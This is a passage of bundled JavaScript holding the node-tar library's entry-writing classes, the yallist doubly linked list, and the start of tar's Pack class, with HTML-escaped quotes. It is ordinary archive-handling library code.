        }
        if (mode &amp; 4) {
          mode |= 1;
        }
      }
      return mode;
    };
  }
});

// node_modules/tar/dist/esm/write-entry.js
var import_fs11, import_path9, prefixPath, maxReadSize, PROCESS, FILE2, DIRECTORY2, SYMLINK2, HARDLINK2, HEADER, READ2, LSTAT, ONLSTAT, ONREAD, ONREADLINK, OPENFILE, ONOPENFILE, CLOSE, MODE, AWAITDRAIN, ONDRAIN, PREFIX, WriteEntry, WriteEntrySync, WriteEntryTar, getType;
var init_write_entry = __esm({
  &quot;node_modules/tar/dist/esm/write-entry.js&quot;() {
    import_fs11 = __toESM(require(&quot;fs&quot;), 1);
    init_esm();
    import_path9 = __toESM(require(&quot;path&quot;), 1);
    init_header();
    init_mode_fix();
    init_normalize_windows_path();
    init_options();
    init_pax();
    init_strip_absolute_path();
    init_strip_trailing_slashes();
    init_warn_method();
    init_winchars();
    prefixPath = (path16, prefix) =&gt; {
      if (!prefix) {
        return normalizeWindowsPath(path16);
      }
      path16 = normalizeWindowsPath(path16).replace(/^\.(\/|$)/, &quot;&quot;);
      return stripTrailingSlashes(prefix) + &quot;/&quot; + path16;
    };
    maxReadSize = 16 * 1024 * 1024;
    PROCESS = /* @__PURE__ */ Symbol(&quot;process&quot;);
    FILE2 = /* @__PURE__ */ Symbol(&quot;file&quot;);
    DIRECTORY2 = /* @__PURE__ */ Symbol(&quot;directory&quot;);
    SYMLINK2 = /* @__PURE__ */ Symbol(&quot;symlink&quot;);
    HARDLINK2 = /* @__PURE__ */ Symbol(&quot;hardlink&quot;);
    HEADER = /* @__PURE__ */ Symbol(&quot;header&quot;);
    READ2 = /* @__PURE__ */ Symbol(&quot;read&quot;);
    LSTAT = /* @__PURE__ */ Symbol(&quot;lstat&quot;);
    ONLSTAT = /* @__PURE__ */ Symbol(&quot;onlstat&quot;);
    ONREAD = /* @__PURE__ */ Symbol(&quot;onread&quot;);
    ONREADLINK = /* @__PURE__ */ Symbol(&quot;onreadlink&quot;);
    OPENFILE = /* @__PURE__ */ Symbol(&quot;openfile&quot;);
    ONOPENFILE = /* @__PURE__ */ Symbol(&quot;onopenfile&quot;);
    CLOSE = /* @__PURE__ */ Symbol(&quot;close&quot;);
    MODE = /* @__PURE__ */ Symbol(&quot;mode&quot;);
    AWAITDRAIN = /* @__PURE__ */ Symbol(&quot;awaitDrain&quot;);
    ONDRAIN = /* @__PURE__ */ Symbol(&quot;ondrain&quot;);
    PREFIX = /* @__PURE__ */ Symbol(&quot;prefix&quot;);
    WriteEntry = class extends Minipass {
      path;
      portable;
      myuid = process.getuid &amp;&amp; process.getuid() || 0;
      // until node has builtin pwnam functions, this&#039;ll have to do
      myuser = process.env.USER || &quot;&quot;;
      maxReadSize;
      linkCache;
      statCache;
      preservePaths;
      cwd;
      strict;
      mtime;
      noPax;
      noMtime;
      prefix;
      fd;
      blockLen = 0;
      blockRemain = 0;
      buf;
      pos = 0;
      remain = 0;
      length = 0;
      offset = 0;
      win32;
      absolute;
      header;
      type;
      linkpath;
      stat;
      onWriteEntry;
      #hadError = false;
      constructor(p, opt_ = {}) {
        const opt = dealias(opt_);
        super();
        this.path = normalizeWindowsPath(p);
        this.portable = !!opt.portable;
        this.maxReadSize = opt.maxReadSize || maxReadSize;
        this.linkCache = opt.linkCache || /* @__PURE__ */ new Map();
        this.statCache = opt.statCache || /* @__PURE__ */ new Map();
        this.preservePaths = !!opt.preservePaths;
        this.cwd = normalizeWindowsPath(opt.cwd || process.cwd());
        this.strict = !!opt.strict;
        this.noPax = !!opt.noPax;
        this.noMtime = !!opt.noMtime;
        this.mtime = opt.mtime;
        this.prefix = opt.prefix ? normalizeWindowsPath(opt.prefix) : void 0;
        this.onWriteEntry = opt.onWriteEntry;
        if (typeof opt.onwarn === &quot;function&quot;) {
          this.on(&quot;warn&quot;, opt.onwarn);
        }
        let pathWarn = false;
        if (!this.preservePaths) {
          const [root, stripped] = stripAbsolutePath(this.path);
          if (root &amp;&amp; typeof stripped === &quot;string&quot;) {
            this.path = stripped;
            pathWarn = root;
          }
        }
        this.win32 = !!opt.win32 || process.platform === &quot;win32&quot;;
        if (this.win32) {
          this.path = decode(this.path.replaceAll(/\\/g, &quot;/&quot;));
          p = p.replaceAll(/\\/g, &quot;/&quot;);
        }
        this.absolute = normalizeWindowsPath(opt.absolute || import_path9.default.resolve(this.cwd, p));
        if (this.path === &quot;&quot;) {
          this.path = &quot;./&quot;;
        }
        if (pathWarn) {
          this.warn(&quot;TAR_ENTRY_INFO&quot;, `stripping ${pathWarn} from absolute path`, {
            entry: this,
            path: pathWarn + this.path
          });
        }
        const cs = this.statCache.get(this.absolute);
        if (cs) {
          this[ONLSTAT](cs);
        } else {
          this[LSTAT]();
        }
      }
      warn(code2, message, data = {}) {
        return warnMethod(this, code2, message, data);
      }
      emit(ev, ...data) {
        if (ev === &quot;error&quot;) {
          this.#hadError = true;
        }
        return super.emit(ev, ...data);
      }
      [LSTAT]() {
        import_fs11.default.lstat(this.absolute, (er, stat) =&gt; {
          if (er) {
            return this.emit(&quot;error&quot;, er);
          }
          this[ONLSTAT](stat);
        });
      }
      [ONLSTAT](stat) {
        this.statCache.set(this.absolute, stat);
        this.stat = stat;
        if (!stat.isFile()) {
          stat.size = 0;
        }
        this.type = getType(stat);
        this.emit(&quot;stat&quot;, stat);
        this[PROCESS]();
      }
      [PROCESS]() {
        switch (this.type) {
          case &quot;File&quot;:
            return this[FILE2]();
          case &quot;Directory&quot;:
            return this[DIRECTORY2]();
          case &quot;SymbolicLink&quot;:
            return this[SYMLINK2]();
          // unsupported types are ignored.
          default:
            return this.end();
        }
      }
      [MODE](mode) {
        return modeFix(mode, this.type === &quot;Directory&quot;, this.portable);
      }
      [PREFIX](path16) {
        return prefixPath(path16, this.prefix);
      }
      [HEADER]() {
        if (!this.stat) {
          throw new Error(&quot;cannot write header before stat&quot;);
        }
        if (this.type === &quot;Directory&quot; &amp;&amp; this.portable) {
          this.noMtime = true;
        }
        this.onWriteEntry?.(this);
        this.header = new Header({
          path: this[PREFIX](this.path),
          // only apply the prefix to hard links.
          linkpath: this.type === &quot;Link&quot; &amp;&amp; this.linkpath !== void 0 ? this[PREFIX](this.linkpath) : this.linkpath,
          // only the permissions and setuid/setgid/sticky bitflags
          // not the higher-order bits that specify file type
          mode: this[MODE](this.stat.mode),
          uid: this.portable ? void 0 : this.stat.uid,
          gid: this.portable ? void 0 : this.stat.gid,
          size: this.stat.size,
          mtime: this.noMtime ? void 0 : this.mtime || this.stat.mtime,
          /* c8 ignore next */
          type: this.type === &quot;Unsupported&quot; ? void 0 : this.type,
          uname: this.portable ? void 0 : this.stat.uid === this.myuid ? this.myuser : &quot;&quot;,
          atime: this.portable ? void 0 : this.stat.atime,
          ctime: this.portable ? void 0 : this.stat.ctime
        });
        if (this.header.encode() &amp;&amp; !this.noPax) {
          super.write(new Pax({
            atime: this.portable ? void 0 : this.header.atime,
            ctime: this.portable ? void 0 : this.header.ctime,
            gid: this.portable ? void 0 : this.header.gid,
            mtime: this.noMtime ? void 0 : this.mtime || this.header.mtime,
            path: this[PREFIX](this.path),
            linkpath: this.type === &quot;Link&quot; &amp;&amp; this.linkpath !== void 0 ? this[PREFIX](this.linkpath) : this.linkpath,
            size: this.header.size,
            uid: this.portable ? void 0 : this.header.uid,
            uname: this.portable ? void 0 : this.header.uname,
            dev: this.portable ? void 0 : this.stat.dev,
            ino: this.portable ? void 0 : this.stat.ino,
            nlink: this.portable ? void 0 : this.stat.nlink
          }).encode());
        }
        const block = this.header?.block;
        if (!block) {
          throw new Error(&quot;failed to encode header&quot;);
        }
        super.write(block);
      }
      [DIRECTORY2]() {
        if (!this.stat) {
          throw new Error(&quot;cannot create directory entry without stat&quot;);
        }
        if (this.path.slice(-1) !== &quot;/&quot;) {
          this.path += &quot;/&quot;;
        }
        this.stat.size = 0;
        this[HEADER]();
        this.end();
      }
      [SYMLINK2]() {
        import_fs11.default.readlink(this.absolute, (er, linkpath) =&gt; {
          if (er) {
            return this.emit(&quot;error&quot;, er);
          }
          this[ONREADLINK](linkpath);
        });
      }
      [ONREADLINK](linkpath) {
        this.linkpath = normalizeWindowsPath(linkpath);
        this[HEADER]();
        this.end();
      }
      [HARDLINK2](linkpath) {
        if (!this.stat) {
          throw new Error(&quot;cannot create link entry without stat&quot;);
        }
        this.type = &quot;Link&quot;;
        this.linkpath = normalizeWindowsPath(import_path9.default.relative(this.cwd, linkpath));
        this.stat.size = 0;
        this[HEADER]();
        this.end();
      }
      [FILE2]() {
        if (!this.stat) {
          throw new Error(&quot;cannot create file entry without stat&quot;);
        }
        if (this.stat.nlink &gt; 1) {
          const linkKey = `${this.stat.dev}:${this.stat.ino}`;
          const linkpath = this.linkCache.get(linkKey);
          if (linkpath?.indexOf(this.cwd) === 0) {
            return this[HARDLINK2](linkpath);
          }
          this.linkCache.set(linkKey, this.absolute);
        }
        this[HEADER]();
        if (this.stat.size === 0) {
          return this.end();
        }
        this[OPENFILE]();
      }
      [OPENFILE]() {
        import_fs11.default.open(this.absolute, &quot;r&quot;, (er, fd) =&gt; {
          if (er) {
            return this.emit(&quot;error&quot;, er);
          }
          this[ONOPENFILE](fd);
        });
      }
      [ONOPENFILE](fd) {
        this.fd = fd;
        if (this.#hadError) {
          return this[CLOSE]();
        }
        if (!this.stat) {
          throw new Error(&quot;should stat before calling onopenfile&quot;);
        }
        this.blockLen = 512 * Math.ceil(this.stat.size / 512);
        this.blockRemain = this.blockLen;
        const bufLen = Math.min(this.blockLen, this.maxReadSize);
        this.buf = Buffer.allocUnsafe(bufLen);
        this.offset = 0;
        this.pos = 0;
        this.remain = this.stat.size;
        this.length = this.buf.length;
        this[READ2]();
      }
      [READ2]() {
        const { fd, buf, offset, length, pos: pos2 } = this;
        if (fd === void 0 || buf === void 0) {
          throw new Error(&quot;cannot read file without first opening&quot;);
        }
        import_fs11.default.read(fd, buf, offset, length, pos2, (er, bytesRead) =&gt; {
          if (er) {
            return this[CLOSE](() =&gt; this.emit(&quot;error&quot;, er));
          }
          this[ONREAD](bytesRead);
        });
      }
      /* c8 ignore start */
      [CLOSE](cb = () =&gt; {
      }) {
        if (this.fd !== void 0)
          import_fs11.default.close(this.fd, cb);
      }
      [ONREAD](bytesRead) {
        if (bytesRead &lt;= 0 &amp;&amp; this.remain &gt; 0) {
          const er = Object.assign(new Error(&quot;encountered unexpected EOF&quot;), {
            path: this.absolute,
            syscall: &quot;read&quot;,
            code: &quot;EOF&quot;
          });
          return this[CLOSE](() =&gt; this.emit(&quot;error&quot;, er));
        }
        if (bytesRead &gt; this.remain) {
          const er = Object.assign(new Error(&quot;did not encounter expected EOF&quot;), {
            path: this.absolute,
            syscall: &quot;read&quot;,
            code: &quot;EOF&quot;
          });
          return this[CLOSE](() =&gt; this.emit(&quot;error&quot;, er));
        }
        if (!this.buf) {
          throw new Error(&quot;should have created buffer prior to reading&quot;);
        }
        if (bytesRead === this.remain) {
          for (let i = bytesRead; i &lt; this.length &amp;&amp; bytesRead &lt; this.blockRemain; i++) {
            this.buf[i + this.offset] = 0;
            bytesRead++;
            this.remain++;
          }
        }
        const chunk = this.offset === 0 &amp;&amp; bytesRead === this.buf.length ? this.buf : this.buf.subarray(this.offset, this.offset + bytesRead);
        const flushed = this.write(chunk);
        if (!flushed) {
          this[AWAITDRAIN](() =&gt; this[ONDRAIN]());
        } else {
          this[ONDRAIN]();
        }
      }
      [AWAITDRAIN](cb) {
        this.once(&quot;drain&quot;, cb);
      }
      write(chunk, encoding, cb) {
        if (typeof encoding === &quot;function&quot;) {
          cb = encoding;
          encoding = void 0;
        }
        if (typeof chunk === &quot;string&quot;) {
          chunk = Buffer.from(chunk, typeof encoding === &quot;string&quot; ? encoding : &quot;utf8&quot;);
        }
        if (this.blockRemain &lt; chunk.length) {
          const er = Object.assign(new Error(&quot;writing more data than expected&quot;), {
            path: this.absolute
          });
          return this.emit(&quot;error&quot;, er);
        }
        this.remain -= chunk.length;
        this.blockRemain -= chunk.length;
        this.pos += chunk.length;
        this.offset += chunk.length;
        return super.write(chunk, null, cb);
      }
      [ONDRAIN]() {
        if (!this.remain) {
          if (this.blockRemain) {
            super.write(Buffer.alloc(this.blockRemain));
          }
          return this[CLOSE]((er) =&gt; er ? this.emit(&quot;error&quot;, er) : this.end());
        }
        if (!this.buf) {
          throw new Error(&quot;buffer lost somehow in ONDRAIN&quot;);
        }
        if (this.offset &gt;= this.length) {
          this.buf = Buffer.allocUnsafe(Math.min(this.blockRemain, this.buf.length));
          this.offset = 0;
        }
        this.length = this.buf.length - this.offset;
        this[READ2]();
      }
    };
    WriteEntrySync = class extends WriteEntry {
      sync = true;
      [LSTAT]() {
        this[ONLSTAT](import_fs11.default.lstatSync(this.absolute));
      }
      [SYMLINK2]() {
        this[ONREADLINK](import_fs11.default.readlinkSync(this.absolute));
      }
      [OPENFILE]() {
        this[ONOPENFILE](import_fs11.default.openSync(this.absolute, &quot;r&quot;));
      }
      [READ2]() {
        let threw = true;
        try {
          const { fd, buf, offset, length, pos: pos2 } = this;
          if (fd === void 0 || buf === void 0) {
            throw new Error(&quot;fd and buf must be set in READ method&quot;);
          }
          const bytesRead = import_fs11.default.readSync(fd, buf, offset, length, pos2);
          this[ONREAD](bytesRead);
          threw = false;
        } finally {
          if (threw) {
            try {
              this[CLOSE](() =&gt; {
              });
            } catch {
            }
          }
        }
      }
      [AWAITDRAIN](cb) {
        cb();
      }
      /* c8 ignore start */
      [CLOSE](cb = () =&gt; {
      }) {
        if (this.fd !== void 0)
          import_fs11.default.closeSync(this.fd);
        cb();
      }
    };
    WriteEntryTar = class extends Minipass {
      blockLen = 0;
      blockRemain = 0;
      buf = 0;
      pos = 0;
      remain = 0;
      length = 0;
      preservePaths;
      portable;
      strict;
      noPax;
      noMtime;
      readEntry;
      type;
      prefix;
      path;
      mode;
      uid;
      gid;
      uname;
      gname;
      header;
      mtime;
      atime;
      ctime;
      linkpath;
      size;
      onWriteEntry;
      warn(code2, message, data = {}) {
        return warnMethod(this, code2, message, data);
      }
      constructor(readEntry, opt_ = {}) {
        const opt = dealias(opt_);
        super();
        this.preservePaths = !!opt.preservePaths;
        this.portable = !!opt.portable;
        this.strict = !!opt.strict;
        this.noPax = !!opt.noPax;
        this.noMtime = !!opt.noMtime;
        this.onWriteEntry = opt.onWriteEntry;
        this.readEntry = readEntry;
        const { type } = readEntry;
        if (type === &quot;Unsupported&quot;) {
          throw new Error(&quot;writing entry that should be ignored&quot;);
        }
        this.type = type;
        if (this.type === &quot;Directory&quot; &amp;&amp; this.portable) {
          this.noMtime = true;
        }
        this.prefix = opt.prefix;
        this.path = normalizeWindowsPath(readEntry.path);
        this.mode = readEntry.mode !== void 0 ? this[MODE](readEntry.mode) : void 0;
        this.uid = this.portable ? void 0 : readEntry.uid;
        this.gid = this.portable ? void 0 : readEntry.gid;
        this.uname = this.portable ? void 0 : readEntry.uname;
        this.gname = this.portable ? void 0 : readEntry.gname;
        this.size = readEntry.size;
        this.mtime = this.noMtime ? void 0 : opt.mtime || readEntry.mtime;
        this.atime = this.portable ? void 0 : readEntry.atime;
        this.ctime = this.portable ? void 0 : readEntry.ctime;
        this.linkpath = readEntry.linkpath !== void 0 ? normalizeWindowsPath(readEntry.linkpath) : void 0;
        if (typeof opt.onwarn === &quot;function&quot;) {
          this.on(&quot;warn&quot;, opt.onwarn);
        }
        let pathWarn = false;
        if (!this.preservePaths) {
          const [root, stripped] = stripAbsolutePath(this.path);
          if (root &amp;&amp; typeof stripped === &quot;string&quot;) {
            this.path = stripped;
            pathWarn = root;
          }
        }
        this.remain = readEntry.size;
        this.blockRemain = readEntry.startBlockSize;
        this.onWriteEntry?.(this);
        this.header = new Header({
          path: this[PREFIX](this.path),
          linkpath: this.type === &quot;Link&quot; &amp;&amp; this.linkpath !== void 0 ? this[PREFIX](this.linkpath) : this.linkpath,
          // only the permissions and setuid/setgid/sticky bitflags
          // not the higher-order bits that specify file type
          mode: this.mode,
          uid: this.portable ? void 0 : this.uid,
          gid: this.portable ? void 0 : this.gid,
          size: this.size,
          mtime: this.noMtime ? void 0 : this.mtime,
          type: this.type,
          uname: this.portable ? void 0 : this.uname,
          atime: this.portable ? void 0 : this.atime,
          ctime: this.portable ? void 0 : this.ctime
        });
        if (pathWarn) {
          this.warn(&quot;TAR_ENTRY_INFO&quot;, `stripping ${pathWarn} from absolute path`, {
            entry: this,
            path: pathWarn + this.path
          });
        }
        if (this.header.encode() &amp;&amp; !this.noPax) {
          super.write(new Pax({
            atime: this.portable ? void 0 : this.atime,
            ctime: this.portable ? void 0 : this.ctime,
            gid: this.portable ? void 0 : this.gid,
            mtime: this.noMtime ? void 0 : this.mtime,
            path: this[PREFIX](this.path),
            linkpath: this.type === &quot;Link&quot; &amp;&amp; this.linkpath !== void 0 ? this[PREFIX](this.linkpath) : this.linkpath,
            size: this.size,
            uid: this.portable ? void 0 : this.uid,
            uname: this.portable ? void 0 : this.uname,
            dev: this.portable ? void 0 : this.readEntry.dev,
            ino: this.portable ? void 0 : this.readEntry.ino,
            nlink: this.portable ? void 0 : this.readEntry.nlink
          }).encode());
        }
        const b = this.header?.block;
        if (!b)
          throw new Error(&quot;failed to encode header&quot;);
        super.write(b);
        readEntry.pipe(this);
      }
      [PREFIX](path16) {
        return prefixPath(path16, this.prefix);
      }
      [MODE](mode) {
        return modeFix(mode, this.type === &quot;Directory&quot;, this.portable);
      }
      write(chunk, encoding, cb) {
        if (typeof encoding === &quot;function&quot;) {
          cb = encoding;
          encoding = void 0;
        }
        if (typeof chunk === &quot;string&quot;) {
          chunk = Buffer.from(chunk, typeof encoding === &quot;string&quot; ? encoding : &quot;utf8&quot;);
        }
        const writeLen = chunk.length;
        if (writeLen &gt; this.blockRemain) {
          throw new Error(&quot;writing more to entry than is appropriate&quot;);
        }
        this.blockRemain -= writeLen;
        return super.write(chunk, cb);
      }
      end(chunk, encoding, cb) {
        if (this.blockRemain) {
          super.write(Buffer.alloc(this.blockRemain));
        }
        if (typeof chunk === &quot;function&quot;) {
          cb = chunk;
          encoding = void 0;
          chunk = void 0;
        }
        if (typeof encoding === &quot;function&quot;) {
          cb = encoding;
          encoding = void 0;
        }
        if (typeof chunk === &quot;string&quot;) {
          chunk = Buffer.from(chunk, encoding ?? &quot;utf8&quot;);
        }
        if (cb)
          this.once(&quot;finish&quot;, cb);
        if (chunk)
          super.end(chunk, cb);
        else
          super.end(cb);
        return this;
      }
    };
    getType = (stat) =&gt; stat.isFile() ? &quot;File&quot; : stat.isDirectory() ? &quot;Directory&quot; : stat.isSymbolicLink() ? &quot;SymbolicLink&quot; : &quot;Unsupported&quot;;
  }
});

// node_modules/yallist/dist/esm/index.js
function insertAfter(self2, node, value) {
  const prev = node;
  const next = node ? node.next : self2.head;
  const inserted = new Node(value, prev, next, self2);
  if (inserted.next === void 0) {
    self2.tail = inserted;
  }
  if (inserted.prev === void 0) {
    self2.head = inserted;
  }
  self2.length++;
  return inserted;
}
function push(self2, item) {
  self2.tail = new Node(item, self2.tail, void 0, self2);
  if (!self2.head) {
    self2.head = self2.tail;
  }
  self2.length++;
}
function unshift(self2, item) {
  self2.head = new Node(item, void 0, self2.head, self2);
  if (!self2.tail) {
    self2.tail = self2.head;
  }
  self2.length++;
}
var Yallist, Node;
var init_esm5 = __esm({
  &quot;node_modules/yallist/dist/esm/index.js&quot;() {
    Yallist = class _Yallist {
      tail;
      head;
      length = 0;
      static create(list2 = []) {
        return new _Yallist(list2);
      }
      constructor(list2 = []) {
        for (const item of list2) {
          this.push(item);
        }
      }
      *[Symbol.iterator]() {
        for (let walker = this.head; walker; walker = walker.next) {
          yield walker.value;
        }
      }
      removeNode(node) {
        if (node.list !== this) {
          throw new Error(&quot;removing node which does not belong to this list&quot;);
        }
        const next = node.next;
        const prev = node.prev;
        if (next) {
          next.prev = prev;
        }
        if (prev) {
          prev.next = next;
        }
        if (node === this.head) {
          this.head = next;
        }
        if (node === this.tail) {
          this.tail = prev;
        }
        this.length--;
        node.next = void 0;
        node.prev = void 0;
        node.list = void 0;
        return next;
      }
      unshiftNode(node) {
        if (node === this.head) {
          return;
        }
        if (node.list) {
          node.list.removeNode(node);
        }
        const head = this.head;
        node.list = this;
        node.next = head;
        if (head) {
          head.prev = node;
        }
        this.head = node;
        if (!this.tail) {
          this.tail = node;
        }
        this.length++;
      }
      pushNode(node) {
        if (node === this.tail) {
          return;
        }
        if (node.list) {
          node.list.removeNode(node);
        }
        const tail = this.tail;
        node.list = this;
        node.prev = tail;
        if (tail) {
          tail.next = node;
        }
        this.tail = node;
        if (!this.head) {
          this.head = node;
        }
        this.length++;
      }
      push(...args) {
        for (let i = 0, l = args.length; i &lt; l; i++) {
          push(this, args[i]);
        }
        return this.length;
      }
      unshift(...args) {
        for (var i = 0, l = args.length; i &lt; l; i++) {
          unshift(this, args[i]);
        }
        return this.length;
      }
      pop() {
        if (!this.tail) {
          return void 0;
        }
        const res = this.tail.value;
        const t = this.tail;
        this.tail = this.tail.prev;
        if (this.tail) {
          this.tail.next = void 0;
        } else {
          this.head = void 0;
        }
        t.list = void 0;
        this.length--;
        return res;
      }
      shift() {
        if (!this.head) {
          return void 0;
        }
        const res = this.head.value;
        const h = this.head;
        this.head = this.head.next;
        if (this.head) {
          this.head.prev = void 0;
        } else {
          this.tail = void 0;
        }
        h.list = void 0;
        this.length--;
        return res;
      }
      forEach(fn2, thisp) {
        thisp = thisp || this;
        for (let walker = this.head, i = 0; !!walker; i++) {
          fn2.call(thisp, walker.value, i, this);
          walker = walker.next;
        }
      }
      forEachReverse(fn2, thisp) {
        thisp = thisp || this;
        for (let walker = this.tail, i = this.length - 1; !!walker; i--) {
          fn2.call(thisp, walker.value, i, this);
          walker = walker.prev;
        }
      }
      get(n) {
        let i = 0;
        let walker = this.head;
        for (; !!walker &amp;&amp; i &lt; n; i++) {
          walker = walker.next;
        }
        if (i === n &amp;&amp; !!walker) {
          return walker.value;
        }
      }
      getReverse(n) {
        let i = 0;
        let walker = this.tail;
        for (; !!walker &amp;&amp; i &lt; n; i++) {
          walker = walker.prev;
        }
        if (i === n &amp;&amp; !!walker) {
          return walker.value;
        }
      }
      map(fn2, thisp) {
        thisp = thisp || this;
        const res = new _Yallist();
        for (let walker = this.head; !!walker; ) {
          res.push(fn2.call(thisp, walker.value, this));
          walker = walker.next;
        }
        return res;
      }
      mapReverse(fn2, thisp) {
        thisp = thisp || this;
        var res = new _Yallist();
        for (let walker = this.tail; !!walker; ) {
          res.push(fn2.call(thisp, walker.value, this));
          walker = walker.prev;
        }
        return res;
      }
      reduce(fn2, initial) {
        let acc;
        let walker = this.head;
        if (arguments.length &gt; 1) {
          acc = initial;
        } else if (this.head) {
          walker = this.head.next;
          acc = this.head.value;
        } else {
          throw new TypeError(&quot;Reduce of empty list with no initial value&quot;);
        }
        for (var i = 0; !!walker; i++) {
          acc = fn2(acc, walker.value, i);
          walker = walker.next;
        }
        return acc;
      }
      reduceReverse(fn2, initial) {
        let acc;
        let walker = this.tail;
        if (arguments.length &gt; 1) {
          acc = initial;
        } else if (this.tail) {
          walker = this.tail.prev;
          acc = this.tail.value;
        } else {
          throw new TypeError(&quot;Reduce of empty list with no initial value&quot;);
        }
        for (let i = this.length - 1; !!walker; i--) {
          acc = fn2(acc, walker.value, i);
          walker = walker.prev;
        }
        return acc;
      }
      toArray() {
        const arr = new Array(this.length);
        for (let i = 0, walker = this.head; !!walker; i++) {
          arr[i] = walker.value;
          walker = walker.next;
        }
        return arr;
      }
      toArrayReverse() {
        const arr = new Array(this.length);
        for (let i = 0, walker = this.tail; !!walker; i++) {
          arr[i] = walker.value;
          walker = walker.prev;
        }
        return arr;
      }
      slice(from = 0, to = this.length) {
        if (to &lt; 0) {
          to += this.length;
        }
        if (from &lt; 0) {
          from += this.length;
        }
        const ret = new _Yallist();
        if (to &lt; from || to &lt; 0) {
          return ret;
        }
        if (from &lt; 0) {
          from = 0;
        }
        if (to &gt; this.length) {
          to = this.length;
        }
        let walker = this.head;
        let i = 0;
        for (i = 0; !!walker &amp;&amp; i &lt; from; i++) {
          walker = walker.next;
        }
        for (; !!walker &amp;&amp; i &lt; to; i++, walker = walker.next) {
          ret.push(walker.value);
        }
        return ret;
      }
      sliceReverse(from = 0, to = this.length) {
        if (to &lt; 0) {
          to += this.length;
        }
        if (from &lt; 0) {
          from += this.length;
        }
        const ret = new _Yallist();
        if (to &lt; from || to &lt; 0) {
          return ret;
        }
        if (from &lt; 0) {
          from = 0;
        }
        if (to &gt; this.length) {
          to = this.length;
        }
        let i = this.length;
        let walker = this.tail;
        for (; !!walker &amp;&amp; i &gt; to; i--) {
          walker = walker.prev;
        }
        for (; !!walker &amp;&amp; i &gt; from; i--, walker = walker.prev) {
          ret.push(walker.value);
        }
        return ret;
      }
      splice(start, deleteCount = 0, ...nodes) {
        if (start &gt; this.length) {
          start = this.length - 1;
        }
        if (start &lt; 0) {
          start = this.length + start;
        }
        let walker = this.head;
        for (let i = 0; !!walker &amp;&amp; i &lt; start; i++) {
          walker = walker.next;
        }
        const ret = [];
        for (let i = 0; !!walker &amp;&amp; i &lt; deleteCount; i++) {
          ret.push(walker.value);
          walker = this.removeNode(walker);
        }
        if (!walker) {
          walker = this.tail;
        } else if (walker !== this.tail) {
          walker = walker.prev;
        }
        for (const v of nodes) {
          walker = insertAfter(this, walker, v);
        }
        return ret;
      }
      reverse() {
        const head = this.head;
        const tail = this.tail;
        for (let walker = head; !!walker; walker = walker.prev) {
          const p = walker.prev;
          walker.prev = walker.next;
          walker.next = p;
        }
        this.head = tail;
        this.tail = head;
        return this;
      }
    };
    Node = class {
      list;
      next;
      prev;
      value;
      constructor(value, prev, next, list2) {
        this.list = list2;
        this.value = value;
        if (prev) {
          prev.next = this;
          this.prev = prev;
        } else {
          this.prev = void 0;
        }
        if (next) {
          next.prev = this;
          this.next = next;
        } else {
          this.next = void 0;
        }
      }
    };
  }
});

// node_modules/tar/dist/esm/pack.js
var import_fs12, import_path10, PackJob, EOF2, ONSTAT, ENDED3, QUEUE2, PENDINGLINKS, CURRENT, PROCESS2, PROCESSING, PROCESSJOB, JOBS, JOBDONE, ADDFSENTRY, ADDTARENTRY, STAT, READDIR, ONREADDIR, PIPE, ENTRY, ENTRYOPT, WRITEENTRYCLASS, WRITE, ONDRAIN2, Pack, PackSync;
var init_pack = __esm({
  &quot;node_modules/tar/dist/esm/pack.js&quot;() {
    import_fs12 = __toESM(require(&quot;fs&quot;), 1);
    init_write_entry();
    init_esm();
    init_esm3();
    init_esm5();
    init_warn_method();
    import_path10 = __toESM(require(&quot;path&quot;), 1);
    init_normalize_windows_path();
    PackJob = class {
      path;
      absolute;
      entry;
      stat;
      readdir;
      pending = false;
      pendingLink = false;
      ignore = false;
      piped = false;
      constructor(path16, absolute) {
        this.path = path16 || &quot;./&quot;;
        this.absolute = absolute;
      }
    };
    EOF2 = Buffer.alloc(1024);
    ONSTAT = /* @__PURE__ */ Symbol(&quot;onStat&quot;);
    ENDED3 = /* @__PURE__ */ Symbol(&quot;ended&quot;);
    QUEUE2 = /* @__PURE__ */ Symbol(&quot;queue&quot;);
    PENDINGLINKS = /* @__PURE__ */ Symbol(&quot;pendingLinks&quot;);
    CURRENT = /* @__PURE__ */ Symbol(&quot;current&quot;);
    PROCESS2 = /* @__PURE__ */ Symbol(&quot;process&quot;);
    PROCESSING = /* @__PURE__ */ Symbol(&quot;processing&quot;);
    PROCESSJOB = /* @__PURE__ */ Symbol(&quot;processJob&quot;);
    JOBS = /* @__PURE__ */ Symbol(&quot;jobs&quot;);
    JOBDONE = /* @__PURE__ */ Symbol(&quot;jobDone&quot;);
    ADDFSENTRY = /* @__PURE__ */ Symbol(&quot;addFSEntry&quot;);
    ADDTARENTRY = /* @__PURE__ */ Symbol(&quot;addTarEntry&quot;);
    STAT = /* @__PURE__ */ Symbol(&quot;stat&quot;);
    READDIR = /* @__PURE__ */ Symbol(&quot;readdir&quot;);
    ONREADDIR = /* @__PURE__ */ Symbol(&quot;onreaddir&quot;);
    PIPE = /* @__PURE__ */ Symbol(&quot;pipe&quot;);
    ENTRY = /* @__PURE__ */ Symbol(&quot;entry&quot;);
    ENTRYOPT = /* @__PURE__ */ Symbol(&quot;entryOpt&quot;);
    WRITEENTRYCLASS = /* @__PURE__ */ Symbol(&quot;writeEntryClass&quot;);
    WRITE = /* @__PURE__ */ Symbol(&quot;write&quot;);
    ONDRAIN2 = /* @__PURE__ */ Symbol(&quot;ondrain&quot;);
    Pack = class extends Minipass {
      sync = false;
      opt;
      cwd;
      maxReadSize;
      preservePaths;
      strict;
      noPax;
      prefix;
      linkCache;
      statCache;
      file;
      portable;
      zip;
      readdirCache;
      noDirRecurse;
      follow;
      noMtime;
      mtime;
      filter;
      jobs;
      [WRITEENTRYCLASS];
      onWriteEntry;
      // Note: we actually DO need a linked list here, because we
      // shift() to update the head of the list where we start, but still
      // while that happens, need to know what the next item in the queue
      // will be. Since we do multiple jobs in parallel, it&#039;s not as simple
      // as just an Array.shift(), since that would lose the information about
      // the next job in the list. We could add a .next field on the PackJob
      // class, but then we&#039;d have to be tracking the tail of the queue the
      // whole time, and Yallist just does that for us anyway.
      [QUEUE2];
      [PENDINGLINKS] = /* @__PURE__ */ new Map();
      [JOBS] = 0;
      [PROCESSING] = false;
      [ENDED3] = false;
      constructor(opt = {}) {
        super();
        this.opt = opt;
        this.file = opt.file || &quot;&quot;;
        this.cwd = opt.cwd || process.cwd();
        this.maxReadSize = opt.maxReadSize;
        this.preservePaths = !!opt.preservePaths;
        this.strict = !!opt.strict;
        this.noPax = !!opt.noPax;
        this.prefix = normalizeWindowsPath(opt.prefix || &quot;&quot;);
